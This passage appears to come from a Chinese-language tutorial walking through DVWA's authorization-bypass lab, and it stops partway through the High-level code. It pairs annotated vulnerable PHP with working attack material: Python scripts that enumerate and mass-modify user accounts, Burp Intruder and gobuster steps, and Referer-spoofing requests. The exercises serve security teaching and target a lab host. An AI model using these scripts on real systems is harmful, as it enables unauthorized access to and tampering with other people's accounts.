用户ID是连续数字，易于枚举</li></ol><p><strong>权限模型缺失：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">应该：</span><br><span class="line">用户A → 只能查看/修改自己的数据</span><br><span class="line">管理员 → 可以查看/修改所有用户数据</span><br><span class="line"></span><br><span class="line">实际：</span><br><span class="line">任何登录用户 → 可以查看<span class="regexp">/修改/</span>删除任何用户数据</span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：水平越权-访问其他用户数据"><a href="#步骤1：水平越权-访问其他用户数据" class="headerlink" title="步骤1：水平越权 - 访问其他用户数据"></a>步骤1：水平越权 - 访问其他用户数据</h4><p><strong>攻击：查看其他用户信息</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">正常访问：?<span class="attribute">id</span>=1（查看自己的信息）</span><br><span class="line"></span><br><span class="line">攻击：</span><br><span class="line">?<span class="attribute">id</span>=2  → 查看用户<span class="attribute">ID</span>=2的信息</span><br><span class="line">?<span class="attribute">id</span>=3  → 查看用户<span class="attribute">ID</span>=3的信息</span><br><span class="line"><span class="built_in">..</span>.</span><br><span class="line"></span><br><span class="line">结果：可以看到所有用户的信息，包括密码哈希</span><br></pre></td></tr></table></figure><p><strong>使用Burp Suite枚举所有用户：</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span> 拦截请求：GET /vulnerabilities/authbypass/?id=1</span><br><span class="line"><span class="bullet">2.</span> 发送到Intruder</span><br><span class="line"><span class="bullet">3.</span> 设置Payload位置：?id=§1§</span><br><span class="line"><span class="bullet">4.</span> Payload类型：Numbers（1-100）</span><br><span class="line"><span class="bullet">5.</span> 开始攻击</span><br><span class="line"><span class="bullet">6.</span> 结果：获取所有用户的信息</span><br></pre></td></tr></table></figure><h4 id="步骤2：垂直越权-删除其他用户"><a href="#步骤2：垂直越权-删除其他用户" class="headerlink" title="步骤2：垂直越权 - 删除其他用户"></a>步骤2：垂直越权 - 删除其他用户</h4><p><strong>攻击：删除管理员账户</strong></p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">普通用户登录后：</span><br><span class="line"></span><br><span class="line">访问：?action=delete&amp;delete_id=1</span><br><span class="line"></span><br><span class="line">结果：</span><br><span class="line"><span class="bullet">- </span>管理员账户被删除</span><br><span class="line"><span class="bullet">- </span>普通用户执行了管理员操作</span><br></pre></td></tr></table></figure><h4 id="步骤3：批量攻击"><a href="#步骤3：批量攻击" class="headerlink" title="步骤3：批量攻击"></a>步骤3：批量攻击</h4><p><strong>Python脚本 - 枚举所有用户：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/vulnerabilities/authbypass/&quot;</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;low&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;your_session&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Enumerating users...&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> user_id <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">100</span>):</span><br><span class="line">    params = &#123;<span class="string">&#x27;id&#x27;</span>: user_id&#125;</span><br><span class="line">    response = requests.get(url, params=params, cookies=cookies)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;User ID:&#x27;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">        <span class="comment"># 提取用户信息</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] Found user ID: <span class="subst">&#123;user_id&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 解析用户名和密码哈希</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&#x27;Username:&#x27;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">            <span class="comment"># 提取信息（需要解析HTML）</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;    Details in response&quot;</span>)</span><br></pre></td></tr></table></figure><p><strong>Python脚本 - 批量修改用户：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/vulnerabilities/authbypass/&quot;</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;low&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;your_session&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Modifying all users...&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> user_id <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10</span>):</span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">&#x27;user_id&#x27;</span>: user_id,</span><br><span class="line">        <span class="string">&#x27;username&#x27;</span>: <span class="string">f&#x27;hacked_<span class="subst">&#123;user_id&#125;</span>&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;update&#x27;</span>: <span class="string">&#x27;Update&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    response = requests.post(url, data=data, cookies=cookies)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;updated successfully&#x27;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] Modified user <span class="subst">&#123;user_id&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] Failed to modify user <span class="subst">&#123;user_id&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h4 id="步骤4：查找隐藏的管理功能"><a href="#步骤4：查找隐藏的管理功能" class="headerlink" title="步骤4：查找隐藏的管理功能"></a>步骤4：查找隐藏的管理功能</h4><p><strong>目录枚举：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用dirbuster或gobuster</span></span><br><span class="line">gobuster <span class="built_in">dir</span> -u http://dvwa.local/vulnerabilities/authbypass/ \</span><br><span class="line">             -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \</span><br><span class="line">             -c <span class="string">&quot;security=low; PHPSESSID=your_session&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 常见管理路径</span></span><br><span class="line">/admin</span><br><span class="line">/administrator</span><br><span class="line">/admin.php</span><br><span class="line">/manage</span><br><span class="line">/panel</span><br><span class="line">/dashboard</span><br></pre></td></tr></table></figure><p><strong>功能枚举：</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">尝试不同的action参数：</span><br><span class="line">?<span class="attribute">action</span>=delete</span><br><span class="line">?<span class="attribute">action</span>=update</span><br><span class="line">?<span class="attribute">action</span>=view</span><br><span class="line">?<span class="attribute">action</span>=export</span><br><span class="line">?<span class="attribute">action</span>=backup</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用Referer检查，但可以伪造。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取当前用户</span></span><br><span class="line"><span class="variable">$currentUser</span> = <span class="title function_ invoke__">dvwaCurrentUser</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$currentUser</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: login.php&quot;</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：检查Referer头 ★★★</span></span><br><span class="line"><span class="comment">// $_SERVER[&#x27;HTTP_REFERER&#x27;] - HTTP Referer头</span></span><br><span class="line"><span class="comment">// 作用：检查请求是否来自本站</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. Referer可以被伪造</span></span><br><span class="line"><span class="comment">// 2. 某些浏览器/代理可能不发送Referer</span></span><br><span class="line"><span class="comment">// 3. 这不是可靠的安全检查</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_REFERER&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$referer</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_REFERER&#x27;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 检查Referer是否包含当前域名 ★★★</span></span><br><span class="line">    <span class="comment">// strpos() - 查找字符串位置</span></span><br><span class="line">    <span class="comment">// $_SERVER[&#x27;HTTP_HOST&#x27;] - 当前域名</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 例如：</span></span><br><span class="line">    <span class="comment">// Referer: http://dvwa.local/vulnerabilities/authbypass/index.php</span></span><br><span class="line">    <span class="comment">// HTTP_HOST: dvwa.local</span></span><br><span class="line">    <span class="comment">// strpos() 找到 &quot;dvwa.local&quot; → 通过检查</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$referer</span>, <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_HOST&#x27;</span>]) === <span class="literal">false</span>) &#123;</span><br><span class="line">        <span class="comment">// Referer不包含当前域名，拒绝</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Access denied: Invalid referer&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="comment">// ★★★ 问题：没有Referer也拒绝 ★★★</span></span><br><span class="line">    <span class="comment">// 某些情况下，合法用户的浏览器可能不发送Referer</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Access denied: No referer&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：简单的角色检查 ★★★</span></span><br><span class="line"><span class="comment">// 检查用户是否有admin_role权限</span></span><br><span class="line"><span class="comment">// 但这个检查有漏洞</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isAdmin</span>(<span class="params"><span class="variable">$username</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 从数据库查询用户角色</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users WHERE user = &#x27;<span class="subst">$username</span>&#x27;&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>(<span class="variable">$result</span>) &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="variable">$user</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>(<span class="variable">$result</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 问题：角色信息存储在客户端可见的字段 ★★★</span></span><br><span class="line">        <span class="comment">// 如果avatar或其他字段包含&quot;admin&quot;字符串，就认为是管理员</span></span><br><span class="line">        <span class="comment">// 这是非常弱的检查</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$user</span>[<span class="string">&#x27;avatar&#x27;</span>], <span class="string">&#x27;admin&#x27;</span>) !== <span class="literal">false</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取用户ID</span></span><br><span class="line"><span class="variable">$userId</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进：检查用户权限 ★★★</span></span><br><span class="line"><span class="comment">// 但检查逻辑有漏洞</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">isAdmin</span>(<span class="variable">$currentUser</span>)) &#123;</span><br><span class="line">    <span class="comment">// ★★★ 问题：只检查是否是管理员，不检查是否查看自己的数据 ★★★</span></span><br><span class="line">    <span class="comment">// 非管理员应该只能查看自己的数据，但这里没有检查</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Access denied: Admin only&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 后续操作...</span></span><br><span class="line"><span class="comment">// 查询、删除、修改用户</span></span><br><span class="line"><span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>Referer检查</strong> - 验证请求来源</li><li><strong>角色检查</strong> - 判断是否是管理员</li><li><strong>拒绝无Referer的请求</strong></li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><ol><li><strong>Referer可伪造</strong> - 这不是可靠的安全措施</li><li><strong>角色检查逻辑弱</strong> - 基于avatar字段判断</li><li><strong>没有检查资源所有权</strong> - 管理员检查不够</li><li><strong>Session劫持</strong> - 如果获取管理员Session，可以绕过</li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：伪造Referer头"><a href="#方法1：伪造Referer头" class="headerlink" title="方法1：伪造Referer头"></a>方法1：伪造Referer头</h4><p><strong>使用Burp Suite：</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/vulnerabilities/authbypass/?id=2</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>dvwa.local</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>http://dvwa.local/vulnerabilities/authbypass/index.php</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>security=medium; PHPSESSID=your_session</span><br><span class="line"></span><br><span class="line"><span class="language-lasso">结果：通过<span class="keyword">Referer</span>检查</span></span><br></pre></td></tr></table></figure><p><strong>使用curl：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl -X GET <span class="string">&quot;http://dvwa.local/vulnerabilities/authbypass/?id=2&quot;</span> \</span><br><span class="line">     -H <span class="string">&quot;Referer: http://dvwa.local/vulnerabilities/authbypass/&quot;</span> \</span><br><span class="line">     -H <span class="string">&quot;Cookie: security=medium; PHPSESSID=your_session&quot;</span></span><br></pre></td></tr></table></figure><p><strong>使用Python：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/vulnerabilities/authbypass/&quot;</span></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">&#x27;Referer&#x27;</span>: <span class="string">&#x27;http://dvwa.local/vulnerabilities/authbypass/index.php&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;medium&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;your_session&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">params = &#123;<span class="string">&#x27;id&#x27;</span>: <span class="number">2</span>&#125;</span><br><span class="line"></span><br><span class="line">response = requests.get(url, params=params, headers=headers, cookies=cookies)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">&#x27;User ID:&#x27;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] Bypassed referer check!&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(response.text)</span><br></pre></td></tr></table></figure><h4 id="方法2：利用角色检查漏洞"><a href="#方法2：利用角色检查漏洞" class="headerlink" title="方法2：利用角色检查漏洞"></a>方法2：利用角色检查漏洞</h4><p><strong>如果avatar字段可修改：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 修改自己的avatar包含&quot;admin&quot;字符串</span></span><br><span class="line">data = &#123;</span><br><span class="line">    <span class="string">&#x27;user_id&#x27;</span>: <span class="number">5</span>,  <span class="comment"># 当前用户ID</span></span><br><span class="line">    <span class="string">&#x27;avatar&#x27;</span>: <span class="string">&#x27;images/admin_avatar.jpg&#x27;</span>,  <span class="comment"># 包含&quot;admin&quot;</span></span><br><span class="line">    <span class="string">&#x27;update&#x27;</span>: <span class="string">&#x27;Update&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">requests.post(url, data=data, headers=headers, cookies=cookies)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 现在被识别为管理员，可以访问所有功能</span></span><br></pre></td></tr></table></figure><h4 id="方法3：会话固定-x2F-劫持"><a href="#方法3：会话固定-x2F-劫持" class="headerlink" title="方法3：会话固定&#x2F;劫持"></a>方法3：会话固定&#x2F;劫持</h4><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1.</span> 获取管理员的Session ID（通过XSS、网络嗅探等）</span><br><span class="line"><span class="bullet">2.</span> 使用管理员的Session访问</span><br><span class="line"><span class="bullet">3.</span> 绕过所有权限检查</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用Anti-CSRF Token，但仍有逻辑漏洞。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取当前用户</span></span><br><span class="line"><span class="variable">$currentUser</span> = <span class="title function_ invoke__">dvwaCurrentUser</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="variable">$currentUser</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: login.php&quot;</span>);</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：Anti-CSRF Token验证 ★★★</span></span><br><span class="line"><span class="comment">// 检查是否提交了表单</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SERVER</span>[<span class="string">&#x27;REQUEST_METHOD&#x27;</span>] == <span class="string">&#x27;POST&#x27;</span>) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 验证CSRF Token ★★★</span></span><br><span class="line">    <span class="comment">// 从POST数据获取token</span></span><br><span class="line">    <span class="variable">$userToken</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;user_token&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    <span class="comment">// 从Session获取token</span></span><br><span class="line">    <span class="variable">$sessionToken</span> = <span class="variable">$_SESSION</span>[<span class="string">&#x27;session_token&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// checkToken() - 验证CSRF token</span></span><br><span class="line">    <span class="comment">// 参数1：用户提交的token</span></span><br><span class="line">    <span class="comment">// 参数2：Session中的token</span></span><br><span class="line">    <span class="comment">// 参数3：失败后重定向的页面</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">checkToken</span>(<span class="variable">$userToken</span>, <span class="variable">$sessionToken</span>, <span class="string">&#x27;index.php&#x27;</span>)) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;CSRF token validation failed&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进：基于数据库的角色检查 ★★★</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getUserRole</span>(<span class="params"><span class="variable">$username</span></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 从数据库查询用户角色</span></span><br><span class="line">    <span class="comment">// 假设users表有role字段：&#x27;admin&#x27; 或 &#x27;user&#x27;</span></span><br><span class="line">    <span class="variable">$query</span> = <span class="string">&quot;SELECT role FROM users WHERE user = ?&quot;</span>;</span><br><span class="line">    <span class="variable">$stmt</span> = <span class="title function_ invoke__">mysqli_prepare</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span>);</span><br><span class="line">    <span class="title function_ invoke__">mysqli_stmt_bind_param</span>(<span class="variable">$stmt</span>, <span class="string">&#x27;s&#x27;</span>, <span class="variable">$username</span>);</span><br><span class="line">    <span class="title function_ invoke__">mysqli_stmt_execute</span>(<span class="variable">$stmt</span>);</span><br><span class="line">    <span 